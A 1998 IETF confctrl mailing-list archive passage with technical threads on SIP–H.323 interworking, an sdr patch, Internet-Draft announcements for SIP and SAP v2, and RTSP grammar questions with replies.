Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA22481
	for confctrl-outgoing; Mon, 16 Nov 1998 14:19:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22476
	for <confctrl@zephyr.isi.edu>; Mon, 16 Nov 1998 14:19:25 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06900
	for <confctrl@isi.edu>; Mon, 16 Nov 1998 14:19:20 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA18260 for <confctrl@isi.edu>; Mon, 16 Nov 1998 16:18:46 -0600 (CST)
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <W33W92WH>; Mon, 16 Nov 1998 15:18:43 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8604E6C@nsrip00208.mcit.com>
From: "Rahalkar, Suchitra (c)" <Suchitra.Rahalkar@MCI.Com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Date: Mon, 16 Nov 1998 15:18:42 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE11AF.11A5A06E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE11AF.11A5A06E
Content-Type: text/plain;
	charset="iso-8859-1"

	> Hello,
	> 
	> I have worked quite a bit on H.323 and learning SIP currently.
	> However, I am not able to get any further technical details on the
	> following.
	> 
	> It is written in the SIP recommendations that -
	> 
	> SIP can also be used in conjunction with other call setup and
	> signaling protocols. In that mode, an end system uses SIP
exchanges to
	> determine the appropriate end system address and protocol from a
given
	> address that is protocol-independent. For example, SIP could be
used
	> to determine that the party can be reached via H.323 [7], obtain
the
	> H.245 [8] gateway and user address and then use H.225.0 [9] to
	> establish the call.
	> 
	> How exactly does this take place? Is there any middle agent that
	receives SIP on one hand and gives out H.323 on the other hand.

Regards
Suchitra


------_=_NextPart_001_01BE11AF.11A5A06E
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE></TITLE>
</HEAD>
<BODY>
<UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Hello,</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT>=20
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">I have worked quite a bit on =
H.323 and learning SIP currently.</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">However, I am not able to get =
any further technical details on the</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">following.</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT>=20
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">It is written in the SIP =
recommendations that -</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT>=20
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">SIP can also be used in =
conjunction with other call setup and</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">signaling protocols. In that =
mode, an end system uses SIP exchanges to</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">determine the appropriate end =
system address and protocol from a given</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">address that is =
protocol-independent. For example, SIP could be used</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">to determine that the party =
can be reached via H.323 [7], obtain the</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">H.245 [8] gateway and user =
address and then use H.225.0 [9] to</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">establish the call.</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT>=20
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">&gt;</FONT> <FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">How exactly does this take =
place? Is there any middle agent that</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">receives SIP on one =
hand and gives out H.323 on the other hand.</FONT>
</P>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Regards</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Suchitra</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE11AF.11A5A06E--

From confctrl-owner  Tue Nov 17 04:04:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA05028
	for confctrl-outgoing; Tue, 17 Nov 1998 04:04:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05023
	for <confctrl@zephyr.isi.edu>; Tue, 17 Nov 1998 04:04:57 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05857
	for <confctrl@isi.edu>; Tue, 17 Nov 1998 04:04:56 -0800 (PST)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy3.ba.best.com (8.9.0/8.9.0/best.out) with SMTP id EAA04176;
	Tue, 17 Nov 1998 04:02:30 -0800 (PST)
Message-Id: <3.0.5.16.19981117041648.23c7693a@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Tue, 17 Nov 1998 04:16:48
To: rem-conf@es.net, confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: A "sdr" source-code patch for directory sessions
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A quick update to my earlier message.

Bill Fenner reminded me that I hadn't mentioned which version of "sdr" I
used to generate my patch.  It was version 2.5.8 (the sdr source code
version from UCL).

Also (following another suggestion by Bill) I changed the patch to a
contextual diff, to make it more useful when applied to an already-modified
sdr source tree.

(A reminder: The patch is available at <http://www.live.com/sdrpatch.html>)

	Ross.


From confctrl-owner  Tue Nov 17 08:32:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA16226
	for confctrl-outgoing; Tue, 17 Nov 1998 08:32:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16221
	for <confctrl@zephyr.isi.edu>; Tue, 17 Nov 1998 08:32:08 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA15920
	for <confctrl@ISI.EDU>; Tue, 17 Nov 1998 08:32:06 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Tue Nov 17 11:31:41 EST 1998
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.39.249.183])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA08031;
	Tue, 17 Nov 1998 11:31:38 -0500 (EST)
Message-ID: <3651A484.C8E8E3BE@dnrc.bell-labs.com>
Date: Tue, 17 Nov 1998 11:29:56 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Rahalkar, Suchitra (c)" <Suchitra.Rahalkar@MCI.Com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: 
References: <CA6966C24AC6D111B5A100805FEAB7D8604E6C@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Rahalkar, Suchitra (c) wrote:
> 
>      > Hello,
>      >
>      > I have worked quite a bit on H.323 and learning SIP currently.
>      > However, I am not able to get any further technical details on
>      the
>      > following.
>      >
>      > It is written in the SIP recommendations that -
>      >
>      > SIP can also be used in conjunction with other call setup and
>      > signaling protocols. In that mode, an end system uses SIP
>      exchanges to
>      > determine the appropriate end system address and protocol from
>      a given
>      > address that is protocol-independent. For example, SIP could be
>      used
>      > to determine that the party can be reached via H.323 [7],
>      obtain the
>      > H.245 [8] gateway and user address and then use H.225.0 [9] to
>      > establish the call.
>      >
>      > How exactly does this take place? Is there any middle agent
>      that
>      receives SIP on one hand and gives out H.323 on the other hand.

This can happen in a number of ways:

1. a SIP server can be programmed to redirect calls to an h.323 URL.
This programming can take place either through a REGISTER message, or
through administrative configuration. Calls for the user will then get
redirected (i.e., 300 class response) back to the caller. THe caller can
then initiate an h.323 call using the supplied URL.

2. a SIP server can be programmed to act as an SIP to H.323 gateway. In
that case, the server would receive calls for sip:jdrosen@bell-labs.com,
for example, and determine from its configuration that calls for this
address should be converted to H.323, and the server/gateway should
initiate a call to a specified gatekeeper. I imagine one could
conceivably program a SIP server to do this by REGISTER'ing a SIP URL
and setting action=proxy.

3. A UAS can redirect calls to an h.323 URL. 

Additionally, things like the call processing syntax in iptel, or SIP
CGI, can be used to program a SIP server to do the above things (well,
case 1 at least with CGI, not case 2).

Thanks,
Jonathan R.

> 
> Regards
> Suchitra

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Nov 17 09:00:28 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17876
	for confctrl-outgoing; Tue, 17 Nov 1998 09:00:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17869
	for <confctrl@zephyr.isi.edu>; Tue, 17 Nov 1998 09:00:26 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18153
	for <confctrl@isi.edu>; Tue, 17 Nov 1998 09:00:24 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id LAA08319;
	Tue, 17 Nov 1998 11:59:49 -0500 (EST)
Message-Id: <199811171659.LAA08319@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-10.txt,.ps
Date: Tue, 17 Nov 1998 11:59:48 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

Note: This revision reflects comments received during the last call period.

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-10.txt,.ps
	Pages		: 136
	Date		: 13-Nov-98
	
The Session Initiation Protocol (SIP) is an application-
layer control (signaling) protocol for creating, 
modifying and terminating sessions with one or more 
participants. These sessions include Internet multimedia 
conferences, Internet telephone calls and multimedia  
distribution. Members in a session can communicate via 
multicast or via a mesh of unicast relations, or a 
combination of these.

SIP invitations used to create sessions carry session 
descriptions which allow participants to agree on a set 
of compatible media types. It supports user mobility by 
proxying and redirecting requests to the user's current 
location. Users can register their current location. SIP 
is not tied to any particular conference control 
protocol. SIP is designed to be independent of the 
lower-layer transport protocol and can be extended 
with additional capabilities.

This document is a product of the Multi-party Multimedia
Session Control (MMUSIC) working group of the Internet
Engineering Task Force.  Comments are solicited and
should be addressed to the working group's mailing list
at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-10.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-10.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-10.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981116105750.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-10.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-10.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981116105750.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Nov 18 14:19:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA20897
	for confctrl-outgoing; Wed, 18 Nov 1998 14:19:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA20892
	for <confctrl@zephyr.isi.edu>; Wed, 18 Nov 1998 14:19:14 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23535
	for <confctrl@isi.edu>; Wed, 18 Nov 1998 14:19:12 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id RAA07432;
	Wed, 18 Nov 1998 17:18:38 -0500 (EST)
Message-Id: <199811182218.RAA07432@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-00.txt
Date: Wed, 18 Nov 1998 17:18:37 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control
Working Group of the IETF.

	Title		: Session Announcement Protocol: Version 2
	Author(s)	: M. Maher, C. Perkins
	Filename	: draft-ietf-mmusic-sap-v2-00.txt
	Pages		: 6
	Date		: 17-Nov-98
	
   This document describes modifications and enhancements to SAP, the
   session directory announcement protocol, for support of IPv6
   conferencing environments. Along with support for IPv6, a couple new
   features are also introduced.  This document compliments [SAP], which
   fully describes SAP in the context of IPv4. Readers are assumed to be
   familiar with [SAP].
 
   Note: At this time, this document presents an initial set of ideas
   aimed solely at starting discussion within the working group. We
   await the RFC publication of [SAP] before finalizing any protocol
   specifications.
 
   This document is a product of the Multiparty Multimedia Session
   Control (MMUSIC) working group of the Internet Engineering Task
   Force. Comments are solicited and should be addressed to the working
   group's mailing list at confctrl@isi.edu and/or the author.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981117101521.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981117101521.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Nov 19 15:50:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA25159
	for confctrl-outgoing; Thu, 19 Nov 1998 15:50:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA25154
	for <confctrl@zephyr.isi.edu>; Thu, 19 Nov 1998 15:50:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA06375
	for <confctrl@isi.edu>; Thu, 19 Nov 1998 15:50:03 -0800 (PST)
Received: from chair.dnrc.bell-labs.com ([135.180.161.201]) by dirty; Thu Nov 19 18:49:47 EST 1998
Received: from localhost (ethen@localhost)
	by chair.dnrc.bell-labs.com (8.8.8/8.8.8) with SMTP id SAA23256
	for <confctrl@isi.edu>; Thu, 19 Nov 1998 18:49:46 -0500 (EST)
Date: Thu, 19 Nov 1998 18:49:45 -0500 (EST)
From: Ethendranath Bommaiah <ethen@dnrc.bell-labs.com>
X-Sender: ethen@chair
To: confctrl@ISI.EDU
Subject: RTSP question.
Message-ID: <Pine.GSO.3.96.981119184305.25186f-100000@chair>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

In Section 12.39 on Transport Header, it is mentioned:

"source:
If the source address for the stream is different than can be derived
from the RTSP endpoint address, the source MAY be specified."

However, in the BNF (?) description of the Transport header on page
60, there is no support for this feature.

Shouldn't this also be defined ?

Thanks,
Ethen


From confctrl-owner  Thu Nov 19 22:42:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA12586
	for confctrl-outgoing; Thu, 19 Nov 1998 22:42:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA12581
	for <confctrl@zephyr.isi.edu>; Thu, 19 Nov 1998 22:42:56 -0800 (PST)
Received: from inet16.us.oracle.com (inet16.us.oracle.com [192.86.155.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA29963
	for <confctrl@isi.edu>; Thu, 19 Nov 1998 22:42:55 -0800 (PST)
Received: from mailsun2.us.oracle.com (mailsun2.us.oracle.com [144.25.88.74])
	by inet16.us.oracle.com (8.8.5/8.8.5) with SMTP id WAA29577
	for <confctrl@isi.edu>; Thu, 19 Nov 1998 22:43:34 -0800 (PST)
Received:  by mailsun2.us.oracle.com (SMI-8.6/37.8)
	id WAA21897; Thu, 19 Nov 1998 22:42:48 -0800
Message-Id: <199811200642.WAA21897@mailsun2.us.oracle.com>
Date: 19 Nov 98 22:41:10 -0800
From: "Dirk Pranke" <DPRANKE@us.oracle.com>
To: confctrl@ISI.EDU
Subject: RTSP specification of NPT values
MIME-Version: 1.0
X-Mailer: Oracle InterOffice (version 4.1.1.3.40)
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Although I've only seen questions about SAP and SIP recently, I'm assuming 
this is the right list to ask questions about RTSP. Someone please correct
me 
if I'm wrong. 
 
I have a question about the RTSP grammar, in particular the grammar of the 
"npt-range" nonterminal. 
 
Quoting from RFC 2326: 
 
   npt-range    =   ( npt-time "-" [ npt-time ] ) | ( "-" npt-time ) 
   npt-time     =   "now" | npt-sec | npt-hhmmss 
   npt-sec      =   1*DIGIT [ "." *DIGIT ] 
   npt-hhmmss   =   npt-hh ":" npt-mm ":" npt-ss [ "." *DIGIT ] 
   npt-hh       =   1*DIGIT     ; any positive number 
   npt-mm       =   1*2DIGIT    ; 0-59 
   npt-ss       =   1*2DIGIT    ; 0-59 
  
   Examples: 
     npt=123.45-125 
     npt=12:05:35.3- 
     npt=now- 
 
the "npt=" part doesn't appear in the grammar (although "clock=" and
"smpte=" 
do for the other formats). Should it? Or are all the examples wrong? Put 
differently, should it be "Range: 10-20" or "Range: npt=10-20" or both? I 
would think that the "npt=" should be required, and it's just an omission. 
 
Also, is there an errata for the RFC available somewhere? I've noticed other 
inconsistencies (and would be happy to post them if this is the proper
forum) 
... 
 
Thanks, 
 
-- Dirk 
 
-------------			   -------			   ------------ 
 Dirk Pranke       	                "I guess I wouldn't believe in anything 
 Oracle Interactive Television Division       anymore if it wasn't for my
lucky 
 650 506 6594 / 650 506 7615 (fax)          astrology mood watch." -- S.
Martin 
---                            ---------------------		            --- 


From confctrl-owner  Fri Nov 20 08:46:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05256
	for confctrl-outgoing; Fri, 20 Nov 1998 08:46:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05251
	for <confctrl@zephyr.isi.edu>; Fri, 20 Nov 1998 08:46:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA23251
	for <confctrl@ISI.EDU>; Fri, 20 Nov 1998 08:46:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Nov 20 11:44:27 EST 1998
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA17329;
	Fri, 20 Nov 1998 11:44:27 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id LAA02633; Fri, 20 Nov 1998 11:44:26 -0500 (EST)
Message-ID: <36559C6A.BFEA7568@cs.columbia.edu>
Date: Fri, 20 Nov 1998 11:44:26 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Dirk Pranke <DPRANKE@us.oracle.com>
CC: confctrl@ISI.EDU
Subject: Re: RTSP specification of NPT values
References: <199811200642.WAA21897@mailsun2.us.oracle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dirk Pranke wrote:
> 
> Although I've only seen questions about SAP and SIP recently, I'm assuming
> this is the right list to ask questions about RTSP. Someone please correct
> me
> if I'm wrong.

The rule of a working group: at most one topic at a time :-)

> 
> I have a question about the RTSP grammar, in particular the grammar of the
> "npt-range" nonterminal.
> 
> Quoting from RFC 2326:
> 
>    npt-range    =   ( npt-time "-" [ npt-time ] ) | ( "-" npt-time )
>    npt-time     =   "now" | npt-sec | npt-hhmmss
>    npt-sec      =   1*DIGIT [ "." *DIGIT ]
>    npt-hhmmss   =   npt-hh ":" npt-mm ":" npt-ss [ "." *DIGIT ]
>    npt-hh       =   1*DIGIT     ; any positive number
>    npt-mm       =   1*2DIGIT    ; 0-59
>    npt-ss       =   1*2DIGIT    ; 0-59
> 
>    Examples:
>      npt=123.45-125
>      npt=12:05:35.3-
>      npt=now-
> 
> the "npt=" part doesn't appear in the grammar (although "clock=" and
> "smpte="
> do for the other formats). Should it? Or are all the examples wrong? Put
> differently, should it be "Range: 10-20" or "Range: npt=10-20" or both? I
> would think that the "npt=" should be required, and it's just an omission.

Yes, this is an omission.

> 
> Also, is there an errata for the RFC available somewhere? I've noticed other
> inconsistencies (and would be happy to post them if this is the proper
> forum)

There is no errata sheet yet. Once the SIP spec is taken care of, I will
start folding in errata, with the target of releasing a spec suitable
for progression to Draft Standard early next year. Thus, I would suggest
that people start sending me errata by email. The list is probably more
suitable for discussions of any changes or adjustments of a more
substantive nature.


> ...
> 
> Thanks,
> 
> -- Dirk
> 
> -------------                      -------                         ------------
>  Dirk Pranke                            "I guess I wouldn't believe in anything
>  Oracle Interactive Television Division       anymore if it wasn't for my
> lucky
>  650 506 6594 / 650 506 7615 (fax)          astrology mood watch." -- S.
> Martin
> ---                            ---------------------                        ---

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Nov 20 14:48:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25287
	for confctrl-outgoing; Fri, 20 Nov 1998 14:48:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25282
	for <confctrl@zephyr.isi.edu>; Fri, 20 Nov 1998 14:48:38 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02702
	for <confctrl@ISI.EDU>; Fri, 20 Nov 1998 14:48:36 -0800 (PST)
Received: from cosexch001.MCIT.COM (cosexch001.mcit.com [166.37.26.149])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA09181; Fri, 20 Nov 1998 16:48:04 -0600 (CST)
Received: by dogfood with Internet Mail Service (5.5.2232.9)
